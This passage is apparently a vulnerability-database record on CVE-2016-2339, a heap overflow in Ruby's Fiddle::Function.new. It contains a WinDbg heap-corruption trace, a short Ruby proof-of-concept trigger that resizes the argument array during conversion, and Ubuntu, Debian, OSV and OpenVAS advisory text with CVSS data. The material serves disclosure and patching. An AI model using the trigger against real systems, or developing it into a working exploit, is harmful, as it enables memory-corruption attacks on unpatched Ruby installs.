efl=00000202\r\nntdll!RtlpBreakPointHeap+0x23:\r\n77b9087c cc int 3\r\n0:000> !heap -p -a 02b81b48+20\r\n address 02b81b68 found in\r\n _HEAP @ 510000\r\n HEAP_ENTRY Size Prev Flags UserPtr UserSize - state\r\n 02b81b68 b8ab 0000 [00] 02b81b70 4c66a - (busy)\r\n*** ERROR: Symbol file could not be found. Defaulted to export symbols for C: \r\n\\Ruby22\\bin\\libffi-6.dll -\r\n libffi_6!ffi_type_pointer\r\n\r\n\r\n0:000> !heap -x 02b81b48+20\r\nERROR: Block 02b81b68 previous size 955d does not match previous block size 4\r\nHEAP 00510000 (Seg 02af0000) At 02b81b68 Error: invalid block Previous\r\n\r\n0:000> dd 02b81b48+20\r\n02b81b68 6b747048 6b747048 6b747048 6b747048\r\n02b81b78 6b747048 00000000 00000003 00000003\r\n02b81b88 00000003 00000003 00000003 00000003\r\n02b81b98 00000003 baadf00d baadf00d baadf00d\r\n02b81ba8 baadf00d baadf00d baadf00d baadf00d\r\n02b81bb8 baadf00d baadf00d abababab abababab\r\n02b81bc8 00000000 00000000 66d2c8ee 180ae518\r\n02b81bd8 02b6c4d0 02b6c4d0 02b6c4d0 02b6c4d0\r\n0:000> g\r\nHEAP[ruby.exe]: Invalid address specified to RtlSizeHeap( 00510000, 02B81B50 )\r\n(15dc.16b8): Break instruction exception - code 80000003 (first chance)\r\neax=02b81b48 ebx=02b81b48 ecx=77b2f861 edx=0028f985 esi=00510000 edi=02b81b50\r\neip=77b9087c esp=0028fbcc ebp=0028fbcc iopl=0 nv up ei pl nz na po nc\r\ncs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202\r\nntdll!RtlpBreakPointHeap+0x23:\r\n77b9087c cc int 3\r\n0:000> g\r\nHEAP[ruby.exe]: Heap block at 02B81B48 modified at 02B81B58 past requested size of 8\r\n(15dc.16b8): Break instruction exception - code 80000003 (first chance)\r\neax=02b81b48 ebx=02b81b58 ecx=77b2f861 edx=0028f871 esi=02b81b48 edi=00000008\r\neip=77b9087c esp=0028fab8 ebp=0028fab8 iopl=0 nv up ei pl nz na po nc\r\ncs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202\r\nntdll!RtlpBreakPointHeap+0x23:\r\n77b9087c cc int 3\r\n0:000> g\r\nHEAP[ruby.exe]: Invalid address specified to RtlFreeHeap( 00510000, 02B81B50 )\r\n(15dc.16b8): Break instruction exception - code 80000003 (first chance)\r\neax=02b81b48 ebx=02b81b48 ecx=77b2f861 edx=0028f88d esi=00510000 edi=00510000\r\neip=77b9087c esp=0028fad4 ebp=0028fad4 iopl=0 nv up ei pl nz na po nc\r\ncs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202\r\nntdll!RtlpBreakPointHeap+0x23:\r\n77b9087c cc int 3\r\n0:000> g\r\neax=00000000 ebx=00000000 ecx=0028f88c edx=0028f88d esi=77bc2100 edi=77bc20c0\r\neip=77adfd0e esp=0028fe40 ebp=0028fe5c iopl=0 nv up ei pl zr na pe nc\r\ncs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246\r\nntdll!ZwTerminateProcess+0x12:\r\n77adfd0e 83c404 add esp,4\r\n0:000>\r\n```\r\n\r\n### TIMELINE\r\n* 2015-06-11 - Initial Discovery \r\n* 2015-06-30 - Vendor Notification \r\n* 2016-06-14 - Public Disclosure", "cvss3": {}, "published": "2017-10-20T00:00:00", "type": "seebug", "title": "Ruby Fiddle::Function.new Heap Overflow Vulnerability(CVE-2016-2339)", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2016-2339"], "modified": "2017-10-20T00:00:00", "href": "https://www.seebug.org/vuldb/ssvid-96759", "id": "SSV:96759", "sourceData": "\n require 'fiddle'\r\n\r\n$args = []\r\nclass MyObject \r\n def to_int\r\n puts \"increase size of array\"\r\n (1..10).map{|x| $args.push(1)}\r\n puts \"New args array size is : #{$args.length}\" \r\n return 1\r\n end\r\nend\r\nputs \"Start\"\r\nx = MyObject.new\r\n$args.push(x)\r\nputs \"args array size : #{$args.length}\"\r\nf = Fiddle::Function.new(nil, $args, Fiddle::TYPE_VOIDP)\n ", "sourceHref": "https://www.seebug.org/vuldb/ssvid-96759", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}], "openvas": [{"lastseen": "2020-06-04T17:34:49", "description": "The remote host is missing an update for the ", "cvss3": {}, "published": "2017-04-06T00:00:00", "type": "openvas", "title": "openSUSE: Security Advisory for ruby2.2 (openSUSE-SU-2017:0933-1)", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2016-2339", "CVE-2015-7551"], "modified": "2020-06-03T00:00:00", "id": "OPENVAS:1361412562310851531", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310851531", "sourceData": "# Copyright (C) 2017 Greenbone Networks GmbH\n# Some text descriptions might be excerpted from (a) referenced\n# source(s), and are Copyright (C) by the respective right holder(s).\n#\n# SPDX-License-Identifier: GPL-2.0-or-later\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 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An attacker could possibly use this issue to open libraries with \ntainted names. This issue only applied to Ubuntu 14.04 LTS. (CVE-2009-5147)\n\nTony Arcieri, Jeffrey Walton, and Steffan Ullrich discovered that the Ruby \nOpenSSL extension incorrectly handled hostname wildcard matching. This \nissue only applied to Ubuntu 14.04 LTS. (CVE-2015-1855)\n\nChristian Hofstaedtler discovered that Ruby Fiddle::Handle incorrectly \nhandled certain crafted strings. An attacker could use this issue to cause \na denial of service, or possibly execute arbitrary code. This issue only \napplied to Ubuntu 14.04 LTS. (CVE-2015-7551)\n\nIt was discovered that Ruby Net::SMTP incorrectly handled CRLF sequences. A \nremote attacker could possibly use this issue to inject SMTP commands. \n(CVE-2015-9096)\n\nMarcin Noga discovered that Ruby incorrectly handled certain arguments in \na TclTkIp class method. An attacker could possibly use this issue to \nexecute arbitrary code. This issue only affected Ubuntu 14.04 LTS. \n(CVE-2016-2337)\n\nIt was discovered that Ruby Fiddle::Function.new incorrectly handled \ncertain arguments. An attacker could possibly use this issue to execute \narbitrary code. This issue only affected Ubuntu 14.04 LTS. (CVE-2016-2339)\n\nIt was discovered that Ruby incorrectly handled the initialization vector \n(IV) in GCM mode. An attacker could possibly use this issue to bypass \nencryption. (CVE-2016-7798)\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2017-07-25T00:00:00", "type": "ubuntu", "title": "Ruby vulnerabilities", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": true, "obtainUserPrivilege": false}, "cvelist": ["CVE-2009-5147", "CVE-2015-1855", "CVE-2015-7551", "CVE-2015-9096", "CVE-2016-2337", "CVE-2016-2339", "CVE-2016-7798"], "modified": "2017-07-25T00:00:00", "id": "USN-3365-1", "href": "https://ubuntu.com/security/notices/USN-3365-1", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "osv": [{"lastseen": "2023-06-28T06:20:46", "description": "\nMultiple vulnerabilities were found in the interpreter for the Ruby\nlanguage. The Common Vulnerabilities and Exposures project identifies the\nfollowing issues:\n\n\n* [CVE-2015-9096](https://security-tracker.debian.org/tracker/CVE-2015-9096)\nSMTP command injection in Net::SMTP via CRLF sequences in a RCPT TO\n or MAIL FROM command.\n* [CVE-2016-2339](https://security-tracker.debian.org/tracker/CVE-2016-2339)\nExploitable heap overflow in Fiddle::Function.new.\n* [CVE-2016-7798](https://security-tracker.debian.org/tracker/CVE-2016-7798)\nIncorrect handling of initialization vector in the GCM mode in the\n OpenSSL extension.\n* [CVE-2017-0898](https://security-tracker.debian.org/tracker/CVE-2017-0898)\nBuffer underrun vulnerability in Kernel.sprintf.\n* [CVE-2017-0899](https://security-tracker.debian.org/tracker/CVE-2017-0899)\nANSI escape sequence vulnerability in RubyGems.\n* [CVE-2017-0900](https://security-tracker.debian.org/tracker/CVE-2017-0900)\nDoS vulnerability in the RubyGems query command.\n* [CVE-2017-0901](https://security-tracker.debian.org/tracker/CVE-2017-0901)\ngem installer allowed a malicious gem to overwrite arbitrary files.\n* [CVE-2017-0902](https://security-tracker.debian.org/tracker/CVE-2017-0902)\nRubyGems DNS request hijacking vulnerability.\n* [CVE-2017-0903](https://security-tracker.debian.org/tracker/CVE-2017-0903)\nMax Justicz reported that RubyGems is prone to an unsafe object\n deserialization vulnerability. When parsed by an application which\n processes gems, a specially crafted YAML formatted gem specification\n can lead to remote code execution.\n* [CVE-2017-10784](https://security-tracker.debian.org/tracker/CVE-2017-10784)\nYusuke Endoh discovered an escape sequence injection vulnerability in\n the Basic authentication of WEBrick. An attacker can take advantage of\n this flaw to inject malicious escape sequences to the WEBrick log and\n potentially execute control characters on the victim's terminal\n emulator when reading logs.\n* [CVE-2017-14033](https://security-tracker.debian.org/tracker/CVE-2017-14033)\nasac reported a buffer underrun vulnerability in the OpenSSL\n extension. A remote attacker could take advantage of this flaw to\n cause the Ruby interpreter to crash leading to a denial of service.\n* [CVE-2017-14064](https://security-tracker.debian.org/tracker/CVE-2017-14064)\nHeap memory disclosure in the JSON library.\n* [CVE-2017-17405](https://security-tracker.debian.org/tracker/CVE-2017-17405)\nA command injection vulnerability in Net::FTP might allow a\n malicious FTP server to execute arbitrary commands.\n* [CVE-2017-17742](https://security-tracker.debian.org/tracker/CVE-2017-17742)\nAaron Patterson reported that WEBrick bundled with Ruby was vulnerable\n to an HTTP response splitting vulnerability. It was possible for an\n attacker to inject fake HTTP responses if a script accepted an\n external input and output it without modifications.\n* [CVE-2017-17790](https://security-tracker.debian.org/tracker/CVE-2017-17790)\nA command injection vulnerability in lib/resolv.rb's lazy\\_initialze\n might allow a command injection attack. However untrusted input to\n this function is rather unlikely.\n* [CVE-2018-6914](https://security-tracker.debian.org/tracker/CVE-2018-6914)\nooooooo\\_q discovered a directory traversal vulnerability in the\n Dir.mktmpdir method in the tmpdir library. It made it possible for\n attackers to create arbitrary directories or files via a .. (dot dot)\n in the prefix argument.\n* [CVE-2018-8777](https://security-tracker.debian.org/tracker/CVE-2018-8777)\nEric Wong reported an out-of-memory DoS vulnerability related to a\n large request in WEBrick bundled with Ruby.\n* [CVE-2018-8778](https://security-tracker.debian.org/tracker/CVE-2018-8778)\naerodudrizzt found a buffer under-read vulnerability in the Ruby\n String#unpack method. If a big number was passed with the specifier @,\n the number was treated as a negative value, and an out-of-buffer read\n occurred. Attackers could read data on heaps if an script accepts an\n external input as the argument of String#unpack.\n* [CVE-2018-8779](https://security-tracker.debian.org/tracker/CVE-2018-8779)\nooooooo\\_q reported that the UNIXServer.open and UNIXSocket.open\n methods of the socket library bundled with Ruby did not check for NUL\n bytes in the path argument. The lack of check made the methods\n vulnerable to unintentional socket creation and unintentional socket\n access.\n* [CVE-2018-8780](https://security-tracker.debian.org/tracker/CVE-2018-8780)\nooooooo\\_q discovered an unintentional directory traversal in\n some methods in Dir, by the lack of checking for NUL bytes in their\n parameter.\n* [CVE-2018-1000075](https://security-tracker.debian.org/tracker/CVE-2018-1000075)\nA negative size vulnerability in ruby gem package tar header that could\n cause an infinite loop.\n* [CVE-2018-1000076](https://security-tracker.debian.org/tracker/CVE-2018-1000076)\nRubyGems package improperly verifies cryptographic signatures. A mis-signed\n gem could be installed if the tarball contains multiple gem signatures.\n* [CVE-2018-1000077](https://security-tracker.debian.org/tracker/CVE-2018-1000077)\nAn improper input validation vulnerability in RubyGems specification\n homepage attribute could allow malicious gem to set an invalid homepage\n URL.\n* [CVE-2018-1000078](https://security-tracker.debian.org/tracker/CVE-2018-1000078)\nCross Site Scripting (XSS) vulnerability in gem server display of homepage\n attribute.\n* [CVE-2018-1000079](https://security-tracker.debian.org/tracker/CVE-2018-1000079)\nPath Traversal vulnerability during gem installation.\n\n\nFor Debian 8 Jessie, these problems have been fixed in version\n2.1.5-2+deb8u4.\n\n\nWe recommend that you upgrade your ruby2.1 packages.\n\n\nFurther information about Debian LTS security advisories, how to apply\nthese updates to your system and frequently asked questions can be\nfound at: <https://wiki.debian.org/LTS>\n\n\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2018-07-14T00:00:00", "type": "osv", "title": "ruby2.1 - security update", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2015-9096", "CVE-2016-2339", "CVE-2016-7798", "CVE-2017-0898", "CVE-2017-0899", "CVE-2017-0900", "CVE-2017-0901", "CVE-2017-0902", "CVE-2017-0903", "CVE-2017-10784", "CVE-2017-14033", "CVE-2017-14064", "CVE-2017-17405", "CVE-2017-17742", "CVE-2017-17790", "CVE-2018-1000075", "CVE-2018-1000076", "CVE-2018-1000077", "CVE-2018-1000078", "CVE-2018-1000079", "CVE-2018-6914", "CVE-2018-8777", "CVE-2018-8778", "CVE-2018-8779", "CVE-2018-8780"], "modified": "2023-06-28T06:20:41", "id": "OSV:DLA-1421-1", "href": "https://osv.dev/vulnerability/DLA-1421-1", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "debian": [{"lastseen": "2021-10-22T13:44:51", "description": "Package : ruby2.1\nVersion : 2.1.5-2+deb8u4\nCVE ID : CVE-2015-9096 CVE-2016-2339 CVE-2016-7798 CVE-2017-0898\n CVE-2017-0899 CVE-2017-0900 CVE-2017-0901 CVE-2017-0902\n CVE-2017-0903 CVE-2017-10784 CVE-2017-14033 CVE-2017-14064\n CVE-2017-17405 CVE-2017-17742 CVE-2017-17790 CVE-2018-6914\n CVE-2018-8777 CVE-2018-8778 CVE-2018-8779 CVE-2018-8780\n CVE-2018-1000075 CVE-2018-1000076 CVE-2018-1000077\n CVE-2018-1000078 CVE-2018-1000079\nDebian Bug : 851161\n\nMultiple vulnerabilities were found in the interpreter for the Ruby\nlanguage. The Common Vulnerabilities and Exposures project identifies the\nfollowing issues:\n\nCVE-2015-9096\n\n SMTP command injection in Net::SMTP via CRLF sequences in a RCPT TO\n or MAIL FROM command.\n\nCVE-2016-2339\n\n Exploitable heap overflow in Fiddle::Function.new.\n\nCVE-2016-7798\n\n Incorrect handling of initialization vector in the GCM mode in the\n OpenSSL extension.\n\nCVE-2017-0898\n\n Buffer underrun vulnerability in Kernel.sprintf.\n\nCVE-2017-0899\n\n ANSI escape sequence vulnerability in RubyGems.\n\nCVE-2017-0900\n\n DoS vulnerability in the RubyGems query command.\n\nCVE-2017-0901\n\n gem installer allowed a malicious gem to overwrite arbitrary files.\n\nCVE-2017-0902\n\n RubyGems DNS request hijacking vulnerability.\n\nCVE-2017-0903\n\n Max Justicz reported that RubyGems is prone to an unsafe object\n deserialization vulnerability. When parsed by an application which\n processes gems, a specially crafted YAML formatted gem specification\n can lead to remote code execution.\n\nCVE-2017-10784\n\n Yusuke Endoh discovered an escape sequence injection vulnerability in\n the Basic authentication of WEBrick. An attacker can take advantage of\n this flaw to inject malicious escape sequences to the WEBrick log and\n potentially execute control characters on the victim's terminal\n emulator when reading logs.\n\nCVE-2017-14033\n\n asac reported a buffer underrun vulnerability in the OpenSSL\n extension. A remote attacker could take advantage of this flaw to\n cause the Ruby interpreter to crash leading to a denial of service.\n\nCVE-2017-14064\n\n Heap memory disclosure in the JSON library.\n\nCVE-2017-17405\n\n A command injection vulnerability in Net::FTP might allow a\n malicious FTP server to execute arbitrary commands.\n\nCVE-2017-17742\n\n Aaron Patterson reported that WEBrick bundled with Ruby was vulnerable\n to an HTTP response splitting vulnerability. It was possible for an\n attacker to inject fake HTTP responses if a script accepted an\n external input and output it without modifications.\n\nCVE-2017-17790\n\n A command injection vulnerability in lib/resolv.rb's lazy_initialze\n might allow a command injection attack. However untrusted input to\n this function is rather unlikely.\n\nCVE-2018-6914\n\n ooooooo_q discovered a directory traversal vulnerability in the\n Dir.mktmpdir method in the tmpdir library. It made it possible for\n attackers to create arbitrary directories or files via a .. (dot dot)\n in the prefix argument.\n\nCVE-2018-8777\n\n Eric Wong reported an out-of-memory DoS vulnerability related to a\n large request in WEBrick bundled with Ruby.\n\nCVE-2018-8778\n\n aerodudrizzt found a buffer under-read vulnerability in the Ruby\n String#unpack method. If a big number was passed with the specifier @,\n the number was treated as a negative value, and an out-of-buffer read\n occurred. Attackers could read data on heaps if an script accepts an\n external input as the argument of String#unpack.\n\nCVE-2018-8779\n\n ooooooo_q reported that the UNIXServer.open and UNIXSocket.open\n methods of the socket library bundled with Ruby did not check for NUL\n bytes in the path argument. The lack of check made the methods\n vulnerable to unintentional socket creation and unintentional socket\n access.\n\nCVE-2018-8780\n\n ooooooo_q discovered an unintentional directory traversal in\n some methods in Dir, by the lack of checking for NUL bytes in their\n parameter.\n\nCVE-2018-1000075\n\n A negative size vulnerability in ruby gem package tar header that could\n cause an infinite loop.\n\nCVE-2018-1000076\n\n RubyGems package improperly verifies cryptographic signatures. A mis-signed\n gem could be installed if the tarball contains multiple gem signatures.\n\nCVE-2018-1000077\n\n An improper input validation vulnerability in RubyGems specification\n homepage attribute could allow malicious gem to set an invalid homepage\n URL.\n\nCVE-2018-1000078\n\n Cross Site Scripting (XSS) vulnerability in gem server display of homepage\n attribute.\n\nCVE-2018-1000079\n\n Path Traversal vulnerability during gem installation.\n\nFor Debian 8 "Jessie", these problems have been fixed in version\n2.1.5-2+deb8u4.\n\nWe recommend that you upgrade your ruby2.1 packages.\n\nFurther information about Debian LTS security advisories, how to apply\nthese updates to your system and frequently asked questions can be\nfound at: https://wiki.debian.org/LTS\nAttachment:\nsignature.asc\nDescription: PGP signature\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2018-07-14T06:28:37", "type": "debian", "title": "[SECURITY] [DLA 1421-1] ruby2.1 security update", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2015-9096", "CVE-2016-2339", "CVE-2016-7798", "CVE-2017-0898", "CVE-2017-0899", "CVE-2017-0900", "CVE-2017-0901", "CVE-2017-0902", "CVE-2017-0903", "CVE-2017-10784", "CVE-2017-14033", "CVE-2017-14064", "CVE-2017-17405", "CVE-2017-17742", "CVE-2017-17790", "CVE-2018-1000075", "CVE-2018-1000076", "CVE-2018-1000077", "CVE-2018-1000078", "CVE-2018-1000079", "CVE-2018-6914", "CVE-2018-8777", "CVE-2018-8778", "CVE-2018-8779", "CVE-2018-8780"], "modified": "2018-07-14T06:28:37", "id": "DEBIAN:DLA-1421-1:5BC60", "href": "https://lists.debian.org/debian-lts-announce/2018/07/msg00012.html", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}]}
CVE-2016-2339
